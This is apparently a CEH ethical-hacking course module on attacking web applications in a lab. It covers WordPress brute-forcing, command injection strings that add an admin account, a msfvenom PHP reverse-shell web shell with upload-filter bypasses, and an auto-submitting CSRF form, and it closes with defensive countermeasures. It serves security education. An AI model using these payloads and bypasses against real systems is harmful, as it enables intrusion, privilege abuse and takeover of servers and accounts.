Cyber Services / All lessons / CEH — Ethical Hacking / CEH Module 14 Guide Hacking Web

CEH Module 14 Guide Hacking Web

Module 75 of 130 · 11 min read · Free to read

MODULES ↓ Command blocks have a COPY button
Web Application Security Testing and Exploitation Techniques

Web applications are ubiquitous and represent a major attack surface for organizations. Module 14 delves into the common vulnerabilities found in web applications, the tools used to identify and exploit them, and the fundamental principles of web application security testing.

Why Focus on Web Applications?
  • They are directly exposed to the internet or internal networks.
  • They often process sensitive user data (credentials, PII, financial info).
  • They frequently interact with backend databases and systems.
  • Complex codebases and reliance on various frameworks/libraries introduce potential vulnerabilities.
Ethical Mandate: Testing web applications requires explicit permission. Unauthorized access, vulnerability scanning, or exploitation attempts are illegal and unethical. All activities here are for educational purposes in authorized environments.

I. Key Web Application Vulnerability Concepts

Understanding common flaw categories is essential before diving into tools.

Parameter Tampering:

Manipulating parameters sent between the client (browser) and the server (e.g., in URLs, form fields, cookies, HTTP headers) to achieve unintended actions. Examples include changing prices in a shopping cart, modifying user IDs to view other users' data, or bypassing access controls.

Cross-Site Scripting (XSS):

Injecting malicious client-side scripts (usually JavaScript) into web pages viewed by other users. Goals include stealing session cookies, redirecting users, defacing websites, or performing actions on behalf of the victim.

Types:

  • Stored XSS: Malicious script is permanently stored on the target server (e.g., in comments, forum posts). Executes whenever a user views the infected page.
  • Reflected XSS: Malicious script is embedded in a URL or request parameter and reflected back by the server in the immediate response (e.g., in search results, error messages). Requires the victim to click a crafted link.
  • DOM-based XSS: Vulnerability exists entirely within client-side code; the server is not directly involved in reflecting the script.

Impact: Session hijacking (stealing cookies if not HttpOnly), website defacement, credential theft via fake forms, redirecting users to malicious sites, browser exploitation.

Command Injection:

Injecting operating system commands into a web application input field, which are then executed by the backend server. Allows direct interaction with the server's OS.

File Upload Vulnerabilities:

Exploiting flaws in file upload mechanisms to upload malicious files (e.g., web shells like PHP or ASPX scripts) that can then be executed on the server, providing remote access.

Cross-Site Request Forgery (CSRF):

Tricking a logged-in user's browser into making an unintended, malicious request to a web application they are currently authenticated with. The application trusts the request because it comes from the user's browser with their valid session cookie.

II. Reconnaissance and Scanning Tools

Identifying the technologies used and scanning for known vulnerabilities are crucial first steps.

Tool: WPScan (WordPress Scanner)

Specialized tool for finding vulnerabilities in WordPress sites (core, themes, plugins) and enumerating users.

Syntax - Enumerate Users:

wpscan --url <target_wordpress_url> --enumerate u

Example: wpscan --url http://10.10.10.12:8080/CEH --enumerate u

Tool: Skipfish (Web App Recon)

Active web application scanner that crawls sites and probes for vulnerabilities.

Syntax:

skipfish -o <output_directory> -S <dictionary_file> <target_url_with_port>

Example: skipfish -o /root/skipfish_report -S /usr/share/skipfish/dictionaries/complete.wl http://10.10.10.12:8080

Tool: Vega (Web Vuln Scanner & Proxy)

A free, open-source GUI-based web vulnerability scanner and intercepting proxy, written in Java. It includes modules for various checks.

Usage Concept:

- Launch Vega from Kali Applications menu.
- Start a scan (Scan -> Start New Scan) entering the target URL.
- Select desired modules (e.g., Injection Modules, Response Processing Modules) to tailor the scan focus.
- Analyze findings in the Vega interface.


Tool: Acunetix WVS (Commercial Scanner)

A popular commercial web vulnerability scanner known for its speed and comprehensive checks, including OWASP Top 10 vulnerabilities.

Usage Concept:

- Launch Acunetix.
- Create a new scan, specifying the target URL.
- Choose a Scan Type (e.g., Full Scan, OWASP Top 10, specific vulnerability classes).
- Set Business Criticality (helps prioritize findings).
- Run the scan and analyze the detailed report.

III. Exploitation Techniques and Scenarios

Scenario 1: WordPress Login Brute-Force (WPScan + Metasploit)

Combine WPScan user enumeration with a Metasploit module to brute-force logins.

1. Enumerate Users (Kali):

(As shown previously) Find potential usernames.

Syntax:

wpscan --url <target_wordpress_url> --enumerate u

Example: wpscan --url http://10.10.10.12:8080/CEH --enumerate u

Note any usernames found (e.g., 'admin').

2. Configure Metasploit Login Scanner (Kali):

Syntax / Configuration:

msfconsole -q
use auxiliary/scanner/http/wordpress_login_enum
show options
set PASS_FILE /root/Desktop/Wordlists/Passwords.txt # Path to password list
set RHOSTS <Target_WP_IP> # e.g., 10.10.10.12
set RPORT <Target_WP_Port> # e.g., 8080
set TARGETURI <Path_to_WP_Root> # e.g., /CEH/
set USERNAME <Found_Username> # e.g., admin (or use USER_FILE)
run

This module attempts to log in using the specified username and passwords from the list. Check Metasploit output for success ([+]).

Scenario 2: Remote Command Execution (RCE) via DVWA

Exploiting a Command Injection vulnerability in Damn Vulnerable Web Application (DVWA) at low security.

1. Access DVWA & Set Security (Target Browser):

- Navigate to the DVWA login page (e.g., http://<DVWA_IP>:<Port>/dvwa).
- Log in (default: admin/password).
- Go to "DVWA Security" -> Set security level to "Low". Click Submit.

2. Test Command Injection:

- Navigate to the "Command Injection" page.
- The page likely takes an IP address to ping.
- Try injecting OS commands using separators like ; or | (pipe) after a valid IP.

Examples (Enter in the ping input field):

Inject hostname command: 127.0.0.1 | hostname

Inject whoami command: 127.0.0.1 | whoami

Inject dir C:\ command (Windows): 127.0.0.1 | dir C:\

Inject net user command (Windows): 127.0.0.1 | net user

Observe the output below the ping results for the command's output.

3. Example: Adding an Admin User (Requires high web server privileges):

Add user 'Test': 127.0.0.1 | net user Test P@ssw0rd123 /add

Add 'Test' to Administrators group: 127.0.0.1 | net localgroup Administrators Test /add

If successful, you might log in via RDP with these credentials. Note: This often fails unless the web server runs as Administrator/SYSTEM.

Tip: Higher DVWA security levels add filtering. Try different separators (;, &&, |, &) or encoding techniques to bypass filters.
Scenario 3: Exploiting File Upload Vulnerability (DVWA - Low, Medium, High)

Upload a web shell (PHP Meterpreter payload) by bypassing different security levels.

1. Generate PHP Payload (Kali):

Syntax:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<Kali_IP> LPORT=<Listen_Port> -f raw > upload.php

Example: msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=4444 -f raw > upload.php

Creates a raw PHP reverse shell payload named upload.php.

2. Setup Metasploit Listener (Kali):

Syntax / Example:

msfconsole -q
use multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <Kali_IP> # e.g., 10.10.10.11
set LPORT <Listen_Port> # e.g., 4444
run

Start the listener before triggering the payload.

3. Exploit DVWA Low Security:

- Set DVWA Security to Low.
- Go to "File Upload".
- Browse and select your upload.php file.
- Click "Upload". It should succeed.
- Note the upload path (e.g., ../../hackable/uploads/upload.php).
- Navigate to the upload directory URL in your browser (e.g., http://<DVWA_IP>:<Port>/dvwa/hackable/uploads/upload.php).
- Check Metasploit for a Meterpreter session.

4. Exploit DVWA Medium Security (Content-Type Bypass):

- Set DVWA Security to Medium.
- Attempting to upload upload.php likely fails (checks Content-Type or basic extension).
- **Bypass:** Rename the file locally to upload.php.jpg.
- Configure your browser to proxy through Burp Suite (or OWASP ZAP).
- Turn on intercept in Burp/ZAP.
- Upload upload.php.jpg via the DVWA page.
- Intercept the HTTP POST request in Burp/ZAP.
- Find the filename="upload.php.jpg" part and change it back to filename="upload.php".
- Forward the modified request. Disable intercept & browser proxy.
- Navigate to the uploaded file URL: http://<DVWA_IP>:<Port>/dvwa/hackable/uploads/upload.php.
- Check Metasploit for a session.

5. Exploit DVWA High Security (Magic Byte + RCE Bypass):

- Set DVWA Security to High.
- Uploading upload.php or the Burp-modified version fails (likely checks file content/magic bytes).
- **Bypass Prep:**

  • Edit your original upload.php payload file.
  • Add the text GIF98a (or other valid image magic bytes) as the very first line, *before* the <?php tag. Save the file.
  • Rename this modified file locally to upload.jpg.
- Upload upload.jpg via the DVWA page. It should succeed (passes magic byte check).
- **Leverage Command Injection:** Go back to the DVWA Command Injection page (set security to Low/Medium if High blocks RCE). Use the RCE vulnerability to *copy* the uploaded file to one with a PHP extension on the server:

Example RCE Command (adjust path as needed):

127.0.0.1 | copy C:\xampp\htdocs\DVWA\hackable\uploads\upload.jpg C:\xampp\htdocs\DVWA\hackable\uploads\shell.php

Navigate to the newly created shell file: http://<DVWA_IP>:<Port>/dvwa/hackable/uploads/shell.php.
- Check Metasploit for a session.

Tip: File upload bypass techniques depend heavily on the specific checks: extension filtering (blacklist/whitelist), Content-Type validation, magic byte analysis, image re-rendering/resizing checks.
Scenario 4: Cross-Site Request Forgery (CSRF) - WordPress Whitelist Example

Demonstrates tricking an authenticated admin into performing an action (whitelisting attacker IP in a firewall plugin) unintentionally.

1. Target Setup (Assume Victim Admin is Logged In):

- Victim admin is logged into WordPress (e.g., http://<Target_WP_IP>:<Port>/CEH/wp-admin/).
- Assume the "Wordpress Firewall 2" plugin is installed and active.

2. Craft CSRF Payload (Attacker - Kali):

Create an HTML file (e.g., CSRF_Attack.html) containing a hidden form that submits the desired action (adding attacker IP) to the firewall plugin's settings page. The form must replicate the legitimate form submission parameters.

Understanding the CSRF Payload Code: The example HTML code below demonstrates a CSRF attack. It includes a <body> tag with an onload="document.csrf_form.submit()" attribute.
What this means: If this HTML were saved as a file and opened by a victim *logged into the target WordPress site*, the onload JavaScript *would attempt* to automatically submit the hidden form (`csrf_form`) as soon as the page loads.
Important: This script is shown here *for educational purposes only*.
<!-- CSRF_Attack.html -->
<html>
  <!-- The onload attribute shown below is key to the CSRF attack mechanism. -->
  <!-- It tells the browser to submit the form automatically on page load. -->
  <body onload="document.csrf_form.submit()">
    <h2>Loading required security update... Please wait.</h2>
    <!-- Form targets the WP Firewall plugin settings page -->
    <form name="csrf_form" method="POST" action="http://<Target_WP_IP>:<Port>/CEH/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php">
      <!-- Hidden field containing the Attacker's IP to be whitelisted -->
      <input type="hidden" name="whitelisted_ip[]" value="<Kali_IP>" > <!-- Replace <Kali_IP> -->
      <!-- You might need to inspect the real form to see if other IPs or fields need to be included -->
      <!-- Input field mimicking the submit button's name and value -->
      <input type="hidden" name="set_whitelist_ip" value="Set Whitelisted IPs">
      <!-- No visible submit button needed; form submits via body onload -->
    </form>
  </body>
</html>

Replace <Target_WP_IP>, <Port>, and <Kali_IP> with actual values (e.g., 10.10.10.12, 8080, 10.10.10.11). You may need to inspect the live plugin form to ensure all necessary hidden fields and values are included.

3. Deliver & Trigger (Attacker -> Victim):

- Host this HTML file (with the *unescaped*, original code) on a web server accessible to the victim.
- Trick the *logged-in WordPress admin* into visiting the malicious HTML page (e.g., via a phishing link, embedded iframe on another site).

4. Verify Result (Victim's WP Admin):

- When the victim's browser loads the attacker's hosted page, the hidden form submits automatically (because of the onload script *within that hosted page*).
- Because the admin is logged into WordPress, their browser includes the session cookies with the request.
- WordPress receives the request, validates the session, and processes the form submission, adding the attacker's IP to the firewall whitelist.
- Check the "Wordpress Firewall 2" settings in the victim's WP admin panel. The attacker's IP should now be whitelisted.

CSRF Defense: Applications should use anti-CSRF tokens (unique, unpredictable values added to forms and validated on submission) to prevent such attacks.

IV. Web Application Security Countermeasures

Protecting Your Web Applications:
  • Input Validation: Rigorously validate ALL user input on the server-side (length, type, format, legal characters). Use allow-lists (permit only known good) over block-lists (deny known bad).
  • Output Encoding: Properly encode data before displaying it back in HTML/JS/CSS contexts to prevent XSS. Use context-aware encoding libraries (e.g., OWASP ESAPI).
  • Parameterized Queries / Prepared Statements: The primary defense against SQL Injection. Never concatenate user input directly into SQL queries.
  • Secure File Uploads: Validate file types based on magic bytes/content (not just extension/MIME type), rename uploaded files randomly, store them outside the webroot if possible or in a non-executable location, scan uploads for malware, set strict permissions.
  • Strong Authentication & Session Management: Use Multi-Factor Authentication (MFA), generate strong random session IDs, regenerate session IDs upon login/privilege change, use `HttpOnly` and `Secure` cookie flags, implement proper session timeouts (idle and absolute).
  • Anti-CSRF Tokens: Implement synchronizer tokens (unique per session/request) or other methods (e.g., SameSite cookies, checking Origin/Referer headers - less reliable) to validate that state-changing requests originate legitimately from the application's own forms.
  • Principle of Least Privilege: Run web server processes, application pools, and database connections with the minimum permissions necessary to function.
  • Security Headers: Implement HTTP security headers like Content Security Policy (CSP), HTTP Strict Transport Security (HSTS), X-Content-Type-Options, X-Frame-Options, Referrer-Policy.
  • Regular Patching & Updates: Keep the web server software (Apache, Nginx, IIS), application framework (PHP, Node.js, ASP.NET, Java), Content Management System (WordPress, Joomla, Drupal), plugins, and all libraries updated promptly.
  • Vulnerability Scanning & Penetration Testing: Regularly scan (DAST/SAST) and perform manual penetration tests on applications using tools like OWASP ZAP, Burp Suite, Acunetix, Nessus (with web scan), WPScan, Nikto, etc.
  • Web Application Firewall (WAF): Deploy a WAF (cloud-based or on-premise) to filter common web attacks (SQLi, XSS, RCE patterns) before they reach the application. WAFs are helpful but not a replacement for secure code.

Conclusion

Web applications present a vast and complex attack surface. Attackers leverage vulnerabilities like command injection, insecure file uploads, XSS, CSRF, and weak authentication. Tools like WPScan, Metasploit, Vega, Acunetix, and intercepting proxies (ZAP, Burp) are essential for testing. Effective defense requires secure coding practices, robust configuration, continuous monitoring, regular updates, and implementing multiple layers of security controls.

Modules (130) ← CEH — Ethical Hacking